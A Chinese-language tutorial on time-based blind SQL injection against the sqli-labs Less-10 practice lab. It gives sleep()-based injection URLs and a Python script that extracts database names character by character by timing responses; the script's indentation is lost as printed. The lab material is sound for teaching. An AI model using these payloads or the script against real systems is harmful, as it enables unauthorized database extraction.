時間盲注原理
既不回顯數據,也不回顯錯誤信息,所以不能通過頁面來判斷是否存在SQL注入漏洞
聯合查詢、報錯查詢和布爾盲注在此時就不起作用了
例:在登錄案例中,構造SQL語句,發送登錄請求,讓程序延時執行,判斷信息
構造邏輯語句,通過條件語句進行判斷,為真則立即執行,為假則延時執行
核心語法:if(left(user(),1)= ‘a’,0,sleep(3));
時間盲注方法
通過Less-10來進行測試
Less-10的代碼
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
雙引號,不再是單引號
127.0.0.1/Less-10/?id=1" and if(left(user(),1)= ‘c’,0,sleep(10))–+
此時user()的第一個字符為’r’,所以執行后面的sleep(10),頁面響應明顯變慢
時間注入腳本編寫
root@rane:~# cat timeBlindSql.py
import requests
import time
url = 'http://127.0.0.1/Less-10/?id=1'#存在時間盲注漏洞的地址
result=''
print('test')
database = 'select schema_name from information_schema.schemata'#多余的分號
table = 'select table_name from information_schema.tables where table_schema = "database_name"'
column = 'select column_name from information_schema.columns where table_name = "table_name"'
for i in range(1,100):
for j in range(48,122):
payload=r'" and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),0)--+'.format(database,i,j)
stime=time.time()
r=requests.get(url+payload)
etime=time.time()
if etime-stime>=2:
result+=chr(j)
print(result)
break